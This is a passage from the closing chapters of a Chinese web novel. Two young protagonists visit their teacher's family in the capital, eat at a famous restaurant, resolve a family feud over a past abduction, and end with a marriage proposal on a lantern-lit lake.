们安置在八仙桌上,从外面屋檐下的炉子上端进来热乎乎的甜汤,温和道:“你们舟车劳顿,先喝碗甜汤吃些点心松口气,一会阿瑶领着你们去泡个热汤祛风尘,晚上给你们接风。” 她边说边给两人盛了两碗汤。卢思瑶也没闲着,从橱柜里翻出许多糕点,把一张八仙桌摆放得满满当当。 添了一碗汤给夏氏后,将罐底的汤全倒在自己碗里,迫不及待尝了一口:“嗨,这冰糖燕窝汤和银耳差不多嘛,吹得多稀奇,春节的时候,宫里赏的燕窝,阿娘念叨了许久,要等着你们一起来喝,得了你么的信,我眯着眼把毛一根根挑干净,今日一早就放在门口炉子上吊着,你们快些尝尝。” 刘青青就喜欢卢思瑶这股子爽朗的劲儿,笑着抿了一口,滑润爽口,温热甜蜜,带着淡淡的鸡蛋清味,实话说,有点腥。 但是一想到师娘得了这么一小包燕窝,巴巴藏了好久就等他们来,师妹对着天光一根根挑毛,她便觉得腥味变成了美味,暖到心里头的美味。 嗯,她大口大口灌燕窝汤下肚,因赶路而僵硬的全身顿时温暖柔和起来。 卢思瑶见她光喝汤了,扯扯她袖子:“你莫要只喝汤,诺,这么多点心,都是我今儿一早去排队买的,新鲜着呢,快些尝尝。” 说完一人递了一个还冒着热气的羊肉炕馍:“先弄点干的,垫垫底儿!” “诺,这是甜口的金花饼,里头包了牡丹花,你尝尝和你们家的玫瑰鲜花饼,哪个更好吃?” “酥饼里头是山楂馅的,外皮酥脆得掉渣,馅料酸甜可口,老适合你们这样长途跋涉的了。” “还有咸口的麻叶,香脆麻辣,解腻。” “龙津桥买的的酸脆泡椒山笋!” 热乎乎的炕馍下肚,薄薄的外皮,汁水横溢的羊肉,搭配了咸香的蘸料,很巴适。 估摸着两人吃了个半饱,夏氏抱出两身衣裳,打发思瑶带他们去泡热汤。 第204章 第204章汤泉,樊楼 上京不愧是大赵最为繁华的都城,衣食住行热闹非凡,走出垂柳巷隔壁汤水巷就有密密麻麻的热汤房,里头分男池女池,分出大大小小的隔间,小隔间里一个浴桶,只要和一旁的水姐儿支会一声,她便招呼几个力气大的婆子,提来热水把浴桶灌满,再把隔间门上的竹帘一拉,你便有了自己的独立空间,湿热的蒸汽把整个汤房塞得满满的,一点都不冷。 价格也公道,三十文一位,若是还要加热水,令添十文钱,也可以再添些花瓣润肤美颜,添益母草暖肚调经,还有什么祛湿汤,驱寒汤,还有搓澡工,按摩工,瘦身工等,各种服务项目琳琅满目,让人应接不暇。 花上几百文,给家里拥挤放不下净室的百姓有一个清除污垢的地方。 刘青青自然不客气,点了个驱寒汤,再请了个搓澡工,一个胖婶拿着个澡巾仔仔细细将她从上至下搓了一遍,让人感觉轻了一斤,再泡进飘着生姜艾草花椒的浴汤中,汤水暖阳阳的,热气几乎要侵入人的骨头缝里去,将积攒的寒气都给赶走。 有些渴了饿了,再点一份荔枝饮,一份点心拼盒,渴了便揭开盖子抿一口清甜的荔枝饮,饿了打开食盒,捡一块小巧漂亮的点心,这些日子受的寒冷奔波都随着汤书从下水沟里流走。 刘青青是个大方的,请点单的水姐儿帮她隔壁的卢思瑶,男池那边的刘青青都来了个一模一样的套餐。 最后再重新要一同热水,冲洗干净,穿上师娘做的软软合身的衣裳,清清爽爽回卢家。 家里夏氏收拾好床铺,安排郭守云住书房,刘青青和卢思瑶挤一屋,刘青青好奇:“师哥们去哪里了?” 拉抖着被子的夏氏解释:“他们在翰林院实习编书,等着候补实职,天黑色才归家。”说起这个,夏氏无奈叹气:“等着授职的进士不知凡几,不晓得要等到什么时候!” 书房里,卢雪樵从衙门回来,也和郭守云说起同样的事情。 郭守云想了想道:“师尊,不若想想办法,让师哥们去边城吧,那里百废俱兴,需要大量的官员,虽说清苦了些,总比在上京蹉跎岁月强。 在翰林院编书,师哥们人言轻微,即便耗费心血编纂出些传世之作,只怕留名的也是上头的大人。” 卢雪樵点点头,他便是这样熬出来的,何尝不知。 他转而问起郭守云的学业,考教了几样,郭守云回答的内容吞吞吐吐,颠三倒四。卢雪樵眉头竖了起来:“你科举之路才走了一半,如何放松自己?” 郭守云小声解释:“师尊,我中举人已是意外之喜,能护佑家里一二,让豪强恶霸不敢轻易寻青华园的麻烦,哪里还敢奢望考进士,和您一别,就把心思放在青华园的经营上,确实对课业不曾上心。” “师尊,我觉得在这世间,除了科举做官,还有很多可以做的事情,比如这次去草原,见识了草原的辽阔,也知道了草原牧民的艰苦,他们的百姓和我们的百姓一样,都是勤劳坚强智慧的,在极寒的天气中劳作,用各种方法获取食物,艰难快乐的活下去。” 郭将军已经把后续治理草原的策略禀了上去,那是青青提的,我们一起讨论补充的细节,我觉得她眼中看见的是后世千百年的大格局大视野,师尊,可不可以请你在朝上也帮着说说话,那策略真的有利于我大赵千千万万的百姓,莫要因为文武之争,便弃之不用。” 郭守云言之恳切。 卢雪樵今日也听说了郭将军上书了一分文书,文臣这边正打算按照惯例驳回去,听了徒儿这么一提,不由得正视起来。 他不是单纯的文臣,他是希望能为大赵百姓做些什么的文臣,不然也不会蜗居于一个小小的房子里。 他喊来刘青青,让两人细细把草原之事说了一遍,深深看了两人一眼,由衷欣慰感叹:“好孩子,你们比中了进士的师哥还要厉害,果然读万卷书不如行万里路,人才有大格局大视野!” 穿上外裳便急匆匆出了门,留话给夏氏说有要事不回来吃饭,让她莫要慢待了刘青青两人。 最重要的事情办妥,两人累得慌,就着夏氏的安排,躺在散发着皂角味的窄窄温暖被窝里睡个下午觉。 等天黑掌灯的时候,卢思瑶叫醒刘青青,梳妆打扮一番,一家人去正店樊楼吃席。 除了卢思瑶和夏氏,下值的卢氏兄弟卢思捷,卢思克又互相见礼一番。 刘思瑶挽着刘青青:“樊楼是上京最负盛名的正店,果子酒水,天上飞的,地上走的,水里游的,一应俱全,阿娘提前半个月就让我去排队定了的。” 提前半个月,那便是他们写信说要到上京那时。 郭守云感激的看着两位师兄。 卢思捷也打趣:“你们莫要谢我,是我们要谢你们两个,来上京好些年,阿娘抠得很,也就你们来了才舍得上樊楼吃席,好多次听同僚说樊楼的三脆羹风味独特,别竖一帜,今日总算得品味一番。” 刘青青戚眉:“师娘,若是家里经济不宽裕,不若我们就在家里吃饭吧,不用讲那些虚头巴脑的牌面。” 夏氏嗔了大儿子一眼:“你听你大师哥乱嚼舌,家里你师尊两位师哥都有俸禄带回来,吃饭的钱还是够的,我们一直凭房住,到底不方便,你师哥们也该娶媳妇了,想着攒钱买上一个小院子,自在些,偏偏上京的房价像竹子似的,日日攀升,所以一直不够,平日里俭省了些,倒被他蛐蛐。” 说起上京的房价,夏氏忍不住吐槽:“也不知上京的人是不是魔怔了,外城一个带井的小跨院喊价四千贯,不到一天竟然就卖了。” 刘青青戚眉:“一定要在上京城里买么,不能去其他府城买吗?价格虚高是其一,另外我觉得上京年年水患,还有啊,我们进城的时候,看着四周山上的树都被砍完了,估摸着过几年刮 大风,会飞黄沙,感觉这里不是个修身养性的好地界。” “当然了,上京的繁花也是独一份的。” 卢思瑶感叹:“师妹,你可说着了,去年夏天黄河泛滥,家里被淹到床脚,水退后上京倒了好些屋舍,今年冬天刮大风,带着一股子黄沙,吹得人睁不开眼,阿爹因为日日冒着黄沙风上下值,咳嗽了将近一个月,除夕闭门休假在家才好,我就劝阿娘不如去南安府住,偏偏阿娘说,我们兄妹该相看人家,肯定要在上京买个屋子,方便我们嫁娶。” “要我说,若是因为没买房就看不上我们的人家,不结亲也罢。” 卢思瑶大大咧咧评价着上京的婚恋观,对于要有房子才成婚,很是看不上眼。 夏氏气得拍了她一下,对着刘青青抱怨:“你看看你这个师姐,白白年长你几个月,这些年饭菜都喂到狗肚子里去,只张个子,不长脑子。” “买菜还货比三家呢,更何况成婚,上京人烟密布,合适相宜的人家多,总能寻到相衬的,你们还年轻,不晓得若是寻了表里不一,外皮干净,内里吃喝嫖赌的,女儿家要受多少委屈,仰或有那不慈的公婆,媳妇都要被磋磨死。” 夏氏逮到时机便对刘青青和卢思瑶教导一番婚恋观教导。 后面的郭守云也询问两位师哥的想法:“师哥,你们想去草原不?” “边城草场按照大小分为不同的规模,千羊草场,百羊场,十羊场,花四千贯在上京买一个小跨院,还不如去草原,买一个千羊草场,再聘请几个牧民,投入几十贯,盖点简单的院子,就有源源不断马儿羊儿牛儿售卖。” 卢有些心动,询问:“你们买了么?” 郭守云嘿嘿一笑:“我们青华园卖各府特产的,有自家的草场,求之不得,阿青从青华园拆了三万贯,买了一个万羊草场,分春夏秋冬四场,骑着马儿跑一天,才能跑到边界。” “投入也蛮大的,除了买草场,还要在边界架起围栏,防止牛羊跑出去,上交边军保护费,雇佣牧民,还要给牧民盖好房子,准备好口粮,又投入了将近三千贯,但是真的值,以后青华园打算开设畜牧部,专门卖马匹,羊肉牛肉,还有给中奶豆腐什么的。” 卢思克询问:“不是说这个策略还在朝会上讨论么?”你们怎么就开始建围栏了。 郭守云凑近两人,轻声解释:“没办法,边城那边牺牲了很多兵将,等着大笔的抚恤金,还要重新修建边城,到处都要银子,国库里没钱,只能先斩后奏。” “边城给购买草场的商户保证,若是朝廷放弃草原,边城军自愿组织成雇佣军,只要按照文书给报酬,就为草原上的各家商户提供保护服务,驱逐追击来扰民的其他恶人贼寇。” 卢氏兄弟两人对视一眼,今日的朝会内容,他们在衙门里讨论得耳熟能详,这些隐秘郭将军奏折上可没有。压低声音:“行,晚上我和父亲说,家里积攒的钱财先不买房,也去边城弄一块草场!” 说话间,已经到了樊楼,几人对视一眼,住了嘴,笑盈盈看着面前灯火辉煌的三层高楼。 刘青青末世的时候,废弃的千米摩天大厦到处都是,见怪不怪,郭守云又不看中这些身外之物,目光只是围着刘青青转动,面上淡淡的,倒让卢氏兄弟暗暗称赞,羡慕两人可以到处行走,见多识广。 进了楼,伙计看一眼卢思瑶手中的牌子,领着一行人至大厅落座,不一会,席面开始摆起来,唱喏: 水果拼盘:生藕挺子,石榴,乳梨,榠楂一份。 酸咸拼盘:梅肉饼儿,甘草花儿,砌香樱桃,水红姜一份。 甜水饮子:杏酥饮六杯。 酒水:秋露白一壶。 下酒菜八盏:蒸软羊,旋炙猪皮肉,麻腐鸡皮,荔枝白腰子,骆驼蹄,虾谭,三脆羹,煎夹子。 时蔬两盏:东坡豆腐,清炒枸杞头儿。 金饭一盆。 不一会,桌子上满满当当摆了一桌子,因他们吃的是大厅的圆桌,团团围坐一起,旁边立着一个打扮美艳的歌姬,用公筷从各色菜肴中为客人布菜。 卢思瑶盯着一桌子色香味俱全,配着纯银碟盏的菜肴喃喃道:“我定的是三等席面,已是这样琳琅满目,不晓得二楼厅里的二等席,或者三楼包房里的一等席又是什么光景?” 第205章 第205章蒸软羊 布菜的美艳歌姬笑盈盈的,并没有因为他们穿着普通生出轻视怠慢之心,殷勤介绍:“我们樊楼的蒸软羊,选的是品质最好的黄羊,用羊身上最嫩的肋条肉,加入樊楼秘制香料,用香麻纸封口,文火蒸制而成,里头的汤汁全是羊肉自身的精华,一点膻味也没有,贵客们快趁热尝尝,若冷却了,就失了风味。” 刘青青依言夹起一块羊肉,肥瘦相间的肉片在筷尖颤颤巍巍,几粒青绿的香葱碎沾在上面,好似吃着青草遇到大灰狼的小羊羔,让人心生爱喜,还未入口,羊肉特有的香味霸道的往鼻孔里窜,咬一口,不腥不膻,不油不腻,浓郁鲜香,软嫩耙烂,让人忍不住大快朵颐。 歌姬在一旁轻声软语:“上京喜吃羊,无论是大人的生辰宴,仰或小儿的白日宴,或者官爷的升迁宴,或者好友家人接风宴,一起喝上一碗热鲜香浓郁的羊汤,那些离别的惆怅,奔波的劳累都被热乎乎的汤汁融化,成了记忆力的甜。” 这一顿吃的宾主俱欢,言笑晏晏,樊楼名不虚传,不论菜色,或者环境,或者伙计的殷切,无一不精,当然,会账的时候也很体现樊楼的高大上,这么一顿席竟要三十贯,是卢思捷这个新编修两个月俸禄。 刘青青打算去会账,夏氏板着脸训斥:“阿青,你们来看老师,哪里能让你们会账,放心,家里这点小钱是有的!” 吃完饭,回到家,车夫伙计已经等在垂柳巷,帮着搬运了土仪,刘青青抓了把铜钱作茶水钱,让他们自去休息。 刘青青当时准备了两份土仪,郭家和卢家各一份,现在全部搬到卢家,就有些放不下,夏氏退让不肯要,刘青青解释:“师娘,你就收着吧,这些都是园子里自家的东西,不值当什么的!” 卢思瑶抱着她的手臂摇晃,毫不客气:“就是,阿娘,阿青他们又不是外人。妹妹,你们园子是不是还有洗头发的,外面都买不到,你弄点给我呗!” 夏氏嗔了卢思瑶一眼,和刘青青抱怨:“这个是个没脸皮的,真的是被他爹给贯坏了,你别搭理她!” 晚间,刘青青和卢思瑶并头躺在乳胶床垫上,卢思瑶感受到感受着身下贴合腰 线又柔然的床垫,说起了悄悄话:“阿青,你都二十了吧,还不打算成婚么?刘伯不催促你吗?”阿娘成日让她去相见,她都快烦死了。 刘青青叹了口气:“如何不念叨,幸好阿姊和赵垚姐夫年前生了个小宝宝,他们忙着带孩子,没空搭理我,我又在外面,没回去,不然,耳朵都要被唠起卷子了。” “你也知道,我们家就三个女孩。之前,阿云不晓得身世,家里一直默认阿云上我们家,以后我的孩儿就姓刘,现在他找到了爹,他爹还是大名鼎鼎的郭将军,不晓得他是否还愿意去我们家的?” 不去的话,她决对不愿意嫁入郭家的,北方的草原解决了,大赵平安喜乐,家里有阿爹照顾着,她打算乘船南下,弄些新鲜种子回来,计划把青华园的货架上,摆放全天下的粮食产物果实,哪里会愿意窝在那一小片天地里,日日吃窝囊气。 卢思瑶凑近她耳朵,撇过她的衣领,意有所指低笑:“你放心吧,就阿云那黏糊劲,眼珠子都快长你身上了,只要你说生孩子,他腿断了也立马爬过来,莫说姓刘,就是姓讨厌的金人的姓卡卡,他也没意见。” “讨厌!” 两人在被窝了打闹一番,咯吱咯吱的笑声引得隔壁书房的郭守云不自觉勾了勾嘴唇。 还是师妹会说话,只要阿青愿意点头,莫说孩子姓刘,他更宁愿不生孩子,就他们两人,一起游历大江南北,在黄河只畔相拥,在泰山之顶接吻,在海洋星光之下沉醉。 今日师母给阿青准备的是一套襦裙,许是阿青又长大了些,衣裳好似有些小,将上身的轮廓勾勒得分外明显。 他想起那两个高高耸着的大包子,忍不住红了脸,感觉气息都灼热了几分,不晓得吞到嘴里是什么滋味,定然比今晚的蒸软羊味道要迷人。 是啊,他的阿青都二十了呢,应该,可以成婚了。 明日,他便请师尊为他说媒,虽说从小一起长大,但该有的仪式一样都不能少,不能让那些嘴皮子碎的人,轻慢了他的阿青。 只是,他没钱! 郭守云吸了口冷气,平时赚的钱都交给了阿青,他身上一文也不留。他脑子里转了几圈,想到了便宜爹。 昨日荣哥说,郭家的房契上有阿娘一半的名字,明日便去找便宜爹要回来,他在肚内计划了一番,欢欢喜喜睡下。 & 郭志城回城,在朝上和文臣吵了一天,一开始进展很不顺利,无论他提出什么,对方都找着茬儿反对,后来对面新入阁的张阁老出去方便了一下,回来后态度就有了微妙的变化,不再事事反对,偶尔答几句极是。 都是人精,上头大佬态度一变,下头的人见风使舵,朝廷微妙的平静,草原的主张得到了认可,大致可以推行下去。 政事解决完,他为自己儿子讨要些好处,希望能得个嘉奖。 对面沉默了许久的张阁老便道:“疑,郭守云,这不是上一科的举人么?” 朝廷上的文官一听是科举出身,那便是自己人了,你一嘴我一嘴不要命的夸,添油加柴弄了个勇国县男的爵位,虽然是个空爵,但很让人惊喜了。 接着便是为各家商户请封,按照之前的商议,各家商户都有嘉奖,功劳最大的五家,加赐皇帝亲写加盖印玺的匾额。 刘青青的青华园为解决边城运粮问题出力最多,又是女子之身,除了对青华园赏赐匾额之外,另封刘青青为青平县主。 朝会异常顺利,郭志城喜滋滋回到府里,发现府里却乌烟瘴气。 郭守云和刘青青并不在府内,年老的母亲躺在榻上,一会称头疼,一会喊肚痛,一会又说水娘克她,金氏忙着请医问药,寻道士做法,他忍者冒烟的嗓子灌下一口凉茶,还没吃口饭,便被母亲叫去训斥一番,要他寻郭守云回来磕头赔罪。 不然,不叫人认祖归宗入族谱。 郭守云冷着脸将卧室内跳神的神婆轰出去,只留娘俩在屋子里。 他冷着脸:“母亲,你当年挑剔水娘,让她负气离开,致使我夫妻生死相隔,过去的事,我也不提了。” “现在我好不容易寻回阿云,那是我亲生血脉,你的亲孙子,你莫要说不入族谱这样的话,免得伤了孩子的心!” 上头的老金氏头次被儿子这样冷着脸说话,越发气的口不择言,扯掉头上覆着的头巾,一骨碌翻坐起来,:“不过说了她两句,她便要死要活回娘家,不想遇到贼寇掳走,能怨谁,就怨她自己命不好!再说,失踪这么多年,哪里晓得那孩子是不是匪徒之后? 你表妹吞针咽刺,为你养了守业,被夫家发现休弃回家,守业才是我郭家亲子,你莫要昏了头,弄些污七八糟的人回来,乱了我郭家血脉!” 郭志城脑仁嗡嗡嗡疼,几乎要吼出来:“不许你这样说水娘,阿云是我亲生孩儿,看他长相便知。 至于守业,什么叫我郭家亲子,我从未和表妹有夫妻之实,守业怎么会是我亲子。是你口口声声说表妹哀苦,侄儿可怜,我才同意收养她们,现在因他们,你不认阿云,我这就和表妹和离,让她带着守业归家!” 上面的老金氏只觉晴天霹雳:“你,与金氏未曾,未曾?” 天呐,金氏一直和她暗示,郭志城喜新厌旧,和她有了守业转头去娶水娘。她没奈何嫁人,成婚后被夫家发现,所以带着守业被赶出夫家,为这,她时常寻水娘的不是,将人气走。这些年她一直把守业当亲孙子,疼到骨头里。 郭志城指天发誓:“婚前不曾,婚后也不曾,你数次哭诉表妹可怜,我和她说好,她帮我照顾孝顺你,我娶她为妻,给她和守业一个容身之地,两不相欠。” 老金氏吞吞吐吐,将这些往事一一道出,继续追问:“你真的没有和你表妹生过孩儿?” 郭志城面黑如锅底,他转身便去金氏屋子,一脚踢开,里头金氏正在收拾包裹。 他恨恨的看着面前柔弱可怜的表妹,一手捏着她的脖颈:“是你,是你叫人把水娘掳走的,是不是?” 金氏摔倒在地,冷笑:“当年我们一起长大,我心心念念都是你,可是你呢,转头就娶了水娘那个贱人,你们成婚之夜,我偷偷来看你,想从你脸上看见后悔,可是没有,我哭着跑出家,却遇见歹人……” “凭什么,凭什么你背信弃义,我受尽苦难,你们却恩爱幸福,我不甘!” 金氏疯魔一般哭喊:“苍天没眼哪,我找人将她掳走,她竟然逃了,还让你找到了那个余孽!” “不公平,不公平,明明变心的是你!” 郭志城看着地上疯疯癫癫的表妹,心里满是悲切:“我从未喜欢过你,待你好也是因为阿娘说,舅舅不在了,你是我唯一的妹妹!” 罢了罢了,就这样吧。 他寻来管家,让人把母亲和金氏送去边城,凭个小院子过活,以后他亲自照顾,免得再生出是非。 看着这幢留下美好回忆的宅子,就留给阿云吧,他对不起他们娘两。【你现在阅读的是 】 【全文完结】 第206章 第206章巴巴捧来 郭志城寻到郭守云和他商量:“家里只有这套宅子值些银子,便给你成婚用,我带着你祖母和金氏以后就在边城,这些年,是你受了委屈,你以后好好过日子。” 郭守云愣了一下,他本来只打算要回母亲那一份的,世间从来是公平的,别人给了你些东西,必然是需要付出些别的。 他抬起眼皮:“所以呢,我需要做些什么?” 这个儿子洞察世情,郭志城微微颔首:“我带你去祠堂上了族谱便带你去转让房契。” 郭守云笑了:“父亲,你明明知道,我自小被刘家收养,他们待我甚如亲子,教我说话,送我念书,让我有了安身立命的本事。户籍已经上在他们家,明明白白的写着上门女婿,你如今要我重归郭宗,那是不可能的。” “这房子你愿你给就给,不愿意给我便去应天府敲鼓,只要回我母亲那一份。” 这是要把郭家变成上京的笑话啊。 郭志城一想到当年母亲和表妹做的那些事,不经查,将袖下的拳头捏得嘎吱作响,都是自家血亲,何苦弄到不死不休,反正血脉是自家的,姓什么,又有何关系。 半天,他冷哼一声:“罢了,是我没有护好你们娘两,房子给你便罢,另给你一千贯成婚花费。只有一个要求,你成婚时候,必须来边城叩拜我和你祖母。” 郭守云想了想,答应一声:“可!” 老金氏是父亲的母亲,是长辈,叩拜一次也是应该的。 一日没见郭守云,刘青青正找他,便有一个小童跑进垂柳巷,送她一大捧牡丹花。刘青青惊讶的看着手里姹紫嫣红的花儿,这时节,初春未入夏,哪来的花儿? 卢思瑶看见,一惊一乍:“哈,一直听说秦记花行的绢布织花美轮美奂,活灵活现,果然是名不虚传,这也太漂亮了!” “上头竟然还用琥珀滴作为露珠!” 小童又喊刘青青:“姐姐,那位哥哥唤我告诉你,说在金明池一见!” 刘青青嘟囔,也不晓得那人弄些什么,这么神神秘秘。 卢思瑶已经撺掇着快走。 来到金明池,已经围了好些人看热闹,因为池子里全部都是荷花灯,盏盏昏黄的灯光和池面上的影子交相辉映,灯火阑珊花千树,别有一番浪漫气息。 郭守云笑盈盈的站在河边看着她,牵着她的手,上了旁边一艘画舫,扶着她坐稳后,坐在船头亲自操浆,慢悠悠荡到了池水深处。 船舱内设了小桌,一只炉子兢兢业业的燃烧着,冒着温暖的红光,让阴阳锅里的汤汁不停地翻滚,露出里头鲜嫩的羊肉,旁边围满了各色菜肴,还准备了酒水饮子。 刘青青有些懵,这样的夜色这样的灯火,她却在这里挥汗大吃,好像有些不合时宜。 郭守云归置好木桨才进来船舱,看着傻了一般的刘青青,拇指在她嘴角轻轻蹭了一下:“呆子,口水都出来了,要我捞给你吃么?” 他的眼神灼热,好似会吃人一般。 刘青青吓得缩了缩身子,捡起筷子便吃,船舱狭窄,身边都是他身上的气息,一向热爱美食的她,都吃不出羊肉是什么味。 手指上温软的触感消失,郭守云怅然若失了一下,看着眼前面上浮起薄粉的刘青青,他吃吃一笑,今夜便只有两人,她逃不掉的。 落座后,对着桌子上的食材头头是道说起来。 “这个锅子在上京里很是流行,他们叫做阴阳锅,可以同时煮两种口味的锅底,但我觉得阴阳锅不好听,所以改名叫做鸳鸯锅,金明池中游鸳鸯,鸳鸯戏水颈成双!” “阿青,你觉得我诗做的如何?” 刘青青满耳朵“颈成双”,不晓得想到什么,燥得脸红红的,只会答喔,极好! 郭守云看见她慌里慌张,又吞下一颗花椒,忍住不逗她了,静悄悄给她夹菜,吃好锅子,收拾干净,倒了两杯淡淡的菊花饮,郭守云递了个匣子给她。 刘青青打开一开,原是一张房契,房主一栏,刘青青几个字上盖着鲜红的印章,好似一套大红的婚衣,将她紧紧的裹住。 郭守云不晓得什么时候走到她身边,定定的望着她:“阿青,房子也有了,将来孩儿们有地方遮风避雨,我们成婚吧!” “你放心,成婚后我们就在南安府和爹娘一起住,不会让你受婆媳之苦!”他一直称呼刘有山苏氏为爹娘,称郭志城为父亲。 他有些患得患失的看着刘青青,生怕她不答应。 刘青青抬头,看着这个满心满眼都是自己身影的男子,璀然一笑,踮起脚尖,将唇瓣凑了上去。 这个郭守云啊,无论得了点什么,都巴巴送到她面前,她如何舍得不要他。 全文完。【你现在阅读的是 】